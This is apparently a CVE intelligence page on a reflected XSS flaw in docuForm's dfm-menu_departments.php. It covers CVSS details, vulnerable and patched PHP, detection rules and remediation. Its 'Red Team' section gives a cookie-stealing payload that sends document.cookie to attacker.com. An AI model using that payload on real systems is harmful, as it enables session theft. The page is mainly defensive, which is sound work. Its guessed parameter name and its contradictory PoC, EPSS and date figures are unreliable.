☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-61309

CVE-2025-61309 Cross-Site Scripting in Gmbh
📅 PUBLISHED: 2026-05-11 16:17 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
5.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61309 is a reflected Cross-Site Scripting (XSS) vulnerability identified in the dfm-menu_departments.php component of GmbH Mecury Managed Print Services (docuForm) version 11.11c. The vulnerability allows an attacker to inject arbitrary JavaScript into a user's browser session by crafting a malicious payload within an unfiltered variable value. With a CVSS score of 6.1 (Medium), this flaw can be exploited remotely without authentication, but requires user interaction (e.g., clicking a crafted link). The vendor has not yet released a patch, leaving all instances of docuForm v11.11c exposed. Given the EPSS score of 0.0%, exploitation is currently not widespread, but the public availability of proof-of-concept details increases the risk of targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (docuForm) from GmbH Mecury. No supply chain implications are present.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – Victim must click a malicious link.
  • Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. It can be used for phishing, session hijacking, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the dfm-menu_departments.php script, which is part of the docuForm application. The script accepts user-supplied input via a GET or POST parameter (likely dep or similar) and reflects it directly into the HTML response without proper sanitization or encoding. An attacker can craft a URL containing a malicious JavaScript payload, such as:

https://target/docuform/dfm-menu_departments.php?dep=<script>alert('XSS')</script>

When a victim visits this URL, the browser executes the injected script in the context of the docuForm application's origin. This allows the attacker to steal cookies, session tokens, perform actions on behalf of the user, or redirect to malicious sites.

The root cause is the lack of output encoding or input validation for the reflected parameter. The application does not use functions like htmlspecialchars() or equivalent to neutralize HTML/JavaScript metacharacters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$dep = $_GET['dep'];
echo "<div class='department'>$dep</div>";
?>

Patched Code (Conceptual):

<?php
$dep = $_GET['dep'];
$dep = htmlspecialchars($dep, ENT_QUOTES, 'UTF-8');
echo "<div class='department'>$dep</div>";
?>

The patched version uses htmlspecialchars() to encode special characters (<, >, ", ', &) into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running docuForm v11.11c.
  • A web browser or tool like curl to craft the malicious URL.

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., dep).
  2. Craft a payload to steal cookies:
    https://target/docuform/dfm-menu_departments.php?dep=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
    
  3. Send the link to the victim via email or social engineering.
  4. Set up a listener on the attacker server to capture cookies.

Proof-of-Concept (PoC) using curl:

curl -v "http://target/docuform/dfm-menu_departments.php?dep=<script>alert(1)</script>"

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script> tags or encoded variants in the dep parameter.
  • Use WAF rules to block common XSS patterns.

Mitigation:

  • Apply input validation (allowlist) and output encoding.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /docuform/dfm-menu_departments.php with suspicious parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
    • Outbound connections to unknown IPs or domains from the docuForm server.
  • File IOCs:

    • Modified dfm-menu_departments.php file (if attacker gains write access).
    • Suspicious entries in web server access logs (e.g., dep=<script>).
  • Behavioral IOCs:

    • Unexpected redirects to external sites.
    • Unusual cookie theft attempts.

Detection Engineering

YARA Rule

rule CVE_2025_61309_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-61309 in docuForm"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61309"
    strings:
        $xss_payload = /dep=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /dep=.*onerror\s*=/i
        $xss_onload = /dep=.*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on docuForm dfm-menu_departments.php
id: 8a3f2c1e-5b7d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in the dep parameter targeting CVE-2025-61309
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "dep=<script"
            - "dep=onerror"
            - "dep=onload"
            - "dep=javascript:"
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61309 Reflected XSS Attempt"; flow:to_server,established; content:"/dfm-menu_departments.php"; http_uri; content:"dep="; http_uri; pcre:"/dep=.*<script[^>]*>.*<\/script>/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Implement strict allowlist validation for the dep parameter (e.g., only allow alphanumeric characters and hyphens).
  2. Output Encoding: Use htmlspecialchars() or equivalent to encode all reflected data.
  3. Web Application Firewall (WAF): Deploy rules to block common XSS patterns.
  4. Content Security Policy (CSP): Add a CSP header to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    

Long-Term Fix:

  • Apply the vendor's official patch when released.
  • Conduct a full security audit of the docuForm application.
  • Implement secure coding practices (e.g., OWASP guidelines).

Workaround:

  • If patching is not possible, disable the dfm-menu_departments.php endpoint or restrict access via .htaccess:
    <Files "dfm-menu_departments.php">
        Order Deny,Allow
        Deny from all
    </Files>
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61309/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.